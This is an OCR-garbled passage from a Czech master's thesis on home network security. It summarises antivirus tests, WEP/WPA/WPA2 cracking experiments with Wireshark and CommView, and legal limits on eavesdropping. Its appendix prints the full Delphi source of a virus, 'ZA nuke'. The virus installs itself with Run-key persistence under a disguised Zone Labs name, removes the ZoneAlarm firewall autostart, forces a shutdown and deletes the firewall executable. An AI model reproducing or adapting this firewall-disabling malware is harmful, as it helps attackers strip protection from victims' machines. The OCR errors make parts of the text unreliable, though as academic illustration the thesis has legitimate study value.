kombinuje router, switch a pfistupovy WiFi bod (AP). Oproti béznym komerénim
domacim routeriim ma tento produkt jednu velkou vyhodu, lze jej poskladat z jednotlivych
dili doslova jako Lego. Uzivatel si tak miize router postavit pfimo na miru a dle svych
finan¢nich moznosti. Firmware je feSen pomoci mutace operacniho systému Linux a
celkové cena takového domaciho zatfizeni se pohybuje mezi 1200 az 3500 K¢ v zavislosti
na pouzitych dilech.[32]

Prakticka ¢ast diplomové prace (kapitola 4 ,,Vlastni prace®) je vénovana dalSimu
dil¢imu cili a to vybéru vhodnych analytickych nastroji pro odhalovani bezpe¢nostnich
rizik. Do téchto nastrojii spadaji i antivirové programy, které jsou v této ¢asti podrobné
testovany. Pii vybéru antivirdi pro domaci vyuZziti bylo brdno v potaz i ekonomické
hledisko spojené s pofizovacimi néklady takového software. Do testu tak byly vybrany

pouze produkty s ,freeware licenci, to znamenda pro domaci vyuZziti zdarma.
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Z testovanych feSeni vySel nejlépe program Avast! Free Antivirus 7, ktery nad ostatnimi
vynikal jak svou vybavou, tak pro antivirus nejdilezitéjsi schopnosti a to detekovat a
odstrafiovat Skodlivy malware. Jeho jedinym minusem pak jsou oproti konkurenci mirné
zvySené naroky na vykon hardware. Pro mainstreamové PC by vsak jeho provoz nemél byt
zadnym problémem. V souvislosti s antivirovym software by bylo také dobré zminit, ze
ucinnost jednotlivych antivirovych programii se s ¢asem pomérné rychle méni, ziskané
vysledky tak Ize brat jako referenéni piiblizné po dobu jednoho kvartalu.

Ve c¢tvrté kapitole diplomové prace jsou také predstaveny programy WireShark
1.4.6. a Commview for WiFi 6.3. Jedna se analytické nastroje vyuzivané v oblasti
monitorovani bezdratovych siti. Pomoci téchto néstroji byla testovana uc¢innost
bezpe€nostnich standardi WEP, WPA a WPA2, které se pouzZivaji pro zabezpeceni
bezdratovych WiFi siti. V praktické ¢asti diplomové prace se ptfitom podafilo potvrdit
teoretické predpoklady dané problematiky, kdy se jako vyhovujici zabezpeceni, schopné
odolat utoku zaméfeného na ziskdni sdileného hesla (PSK), ukazalo WPA a WPA2.
Nicméné po zvazeni sekundéarnich bezpecnostnich rizik v paté kapitole, 1ze v podstaté pro
stoprocentni zabezpeceni domaci bezdratove sit€¢ doporucit pouze novejsi WPA2. Naopak
jako zcela nevyhovujici se ukazalo zabezpeceni WEP, které bylo s dostateCnym poctem
odposlechnutych paketti prolomeno béhem néckolika vtefin. Soucasti Gtoku na WiFi
zabezpeceni byl také zminovany odposlech pakett. K odposlechu a nasledné analyze
paketi bylo pouzito hned n¢kolik sniffovacich programti. Mezi nejlepsi, co se analyzy
paketl tycCe, se urcit¢ fadi program Wireshark, jehoz nespornou vyhodou je mimo jiné také
fakt, Ze je licencovan jako freeware. Druhy pouzity Commview pak vynikal pfedevsim pfi
skenovani dostupnych WiFi siti a samotném odposlechu paketii. Bohuzel, tento program je
pomérn¢ drahy. Se vSemi funkcemi, které jsem mél k dispozici v pouzitém casove
omezeném demu, vyjde na cca 859 Euro.

Zavérem bych rdd upozornil na fakt, Ze neopravnéné odposlouchdvani dat je
trestna ¢innost, S horni sazbou odnéti svobody az na 1 rok, dle § 239 trestniho zdkona
(porusovani tajemstvi dopravovanych zprav), ptipadné podle § 240 trestniho zdkona ¢.
151/2000 Sb. o telekomunikacich definuje v § 84 dilu 12 telekomunikacni tajemstvi a
ochranu osobnich a zprostiedkovacich dat. Aby nedoslo k poruseni zakona, byl veskery
provedeny odposlech proveden pouze na mé osobni domdci siti, provedené utoky na

bezdratovou sit’ tak byly pouhou simulaci.
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9 Piilohy

Priloha ¢é. 1: Router spolec¢nosti Mikrotik

Na obrazku ¢. 21 je k vidéni zakladni deska routeru RB493G rozsitena o WiFI
sitové karty R52NM a Atheros AR9220.

‘ \
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Obrazek ¢. 21: Router Mikrotik RB493G

Pfiloha é. 2: Komunikace manazeru dvou firem ,vrstvovy model

ZjednoduSenou formou modelu OSI je ,,vrstvovy model*“ komunikace manazerd dvou

firem zobraz"zobrazeny na obrazku ¢. 22.
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Obrazek ¢. 22: Komunikace manazZera dvou firem ,,vrstvovy mode

[http://cs.wikipedia.org/wiki/Referen%C4%8Dn%C3%AD_model _1SO/OSI]
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Priloha €. 3: Zdrojovy koéd viru ,ZA nuke*
Virus je napsdn v programovacim jazyce Delphi a jeho ulohou je zamezit
automatickému spusténi firewallu Zone Alarm po startu Windows. (Pro aktualni verzi

Zone Alarmu jiz tato metoda neni funkéni)

unit Zanuke;
interface

uses
Windows, ShellApi, Registry, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Dialogs,
StdCtrls;

type
TForm1 = class(TForm)

procedure FormCreate(Sender: TObject);

private

{ Private declarations }
public

{ Public declarations }
end;

var
Forml: TFormi,
value: string;
cesta: string;
WinDir: Array[0..4095] of Char;
systemDir: string;

implementation

{$R *.DFM}

Il kopirovani

function WinCopyFile(Source, Dest: string): Boolean;
var

Struct : TSHFileOpStruct;
Resultval: integer;
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begin
Resultval := 1;
try
Source := Source + #0#0;
Dest := Dest + #0#0;
Struct.wnd :=0;
Struct.wFunc := FO_COPY;
Struct.pFrom := PChar('nuke.exe’);
Struct.pTo := PChar(systemDir+"\nuke.exe");
Struct.fFlags := FOF_SIMPLEPROGRESS;
//Struct.fFlags:= FOF_NOCONFIRMATION or FOF_SILENT or
FOF_NOCONFIRMMKDIR or FOF_NOERRORUI;
Struct.fAnyOperationsAborted := False;
Struct.nNameMappings := nil;
Resultval := ShFileOperation(Struct);
finally
Result := (Resultval = 0);
end;
end;

/linstalace
procedure instal;
Var
Registr: TRegistry;
begin
GetSystemDirectory(WinDir, MAX_PATH);
systemDir := String(WinDir);
WinCopyFile('nuke.exe',systemDir+"\nuke.exe');

Registr:= TRegistry.Create;
registr.RootKey := HKEY_LOCAL_MACHINE;
Registr.OpenKey(\software\Microsoft\Windows\CurrentVersion\Run', false);
Registr.WriteString("Zone Labs Upd', systemDir+"\nuke.exe');
Registr.CloseKey;
Registr.Free;

end;

/[function on reboot,logof and power off system NT
function MyExitWindows(RebootParam: Longword): Boolean;
var
TTokenHd: THandle;
TTokenPvg: TTokenPrivileges;
cbtpPrevious: DWORD;
rTTokenPvg: TTokenPrivileges;
pcbtpPreviousRequired: DWORD;
tpResult: Boolean;
const
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SE_SHUTDOWN_NAME = 'SeShutdownPrivilege';
begin
if Win32Platform = VER_PLATFORM_WIN32_NT then
begin
tpResult := OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY,
TTokenHd);
if tpResult then
begin
tpResult := LookupPrivilegeValue(nil,
SE_SHUTDOWN_NAME,
TTokenPvg.Privileges[0].Luid);
TTokenPvg.PrivilegeCount := 1,
TTokenPvg.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
cbtpPrevious := SizeOf(rTTokenPvg);
pcbtpPreviousRequired := 0;
if tpResult then
Windows.AdjustTokenPrivileges(TTokenHd,

False,
TTokenPvg,
cbtpPrevious,
rTTokenPvg,
pcbtpPreviousRequired);
end;
end;
Result := ExitWindowsEx(RebootParam, 0);
end;
e end of fuction-------------------- }

/lon create + nuke
procedure TForml.FormCreate(Sender: TObject);
Var
Registr: TRegistry;
begin
value:="Zone Labs Client’;
instal;

Registr:= TRegistry.Create;

registr.RootKey := HKEY_LOCAL_MACHINE;
Registr.OpenKey(\software\Microsoft\Windows\CurrentVersion\Run', false);
if registr.ValueExists(value)= true
then begin

cesta:=registr.ReadString(value);

Registr.CloseKey;

Registr.Free;

begin
Registr:= TRegistry.Create;

93



registr.RootKey := HKEY_LOCAL_MACHINE;
Registr.OpenKey('\software\aaaa', true);
Registr.WriteString('navig', cesta);
Registr.CloseKey;
Registr.Free;
end;
Registr:= TRegistry.Create;
registr.RootKey := HKEY_LOCAL_MACHINE;
Registr.OpenKey(\software\Microsoft\Windows\CurrentVersion\Run', false);
Registr.DeleteValue(value);
Registr.CloseKey;
Registr.Free;
MyExitWindows(EWX_POWEROFF or EWX_FORCE);
end
else begin
Registr.CloseKey;
Registr.Free;

Registr:= TRegistry.Create;

registr.RootKey := HKEY_LOCAL_MACHINE;
Registr.OpenKey(\software\aaaa', true);
cesta:=registr.ReadString(‘navig’);
DeleteFile(cesta);

Registr.CloseKey;

Registr.Free;

end;

end;

end.
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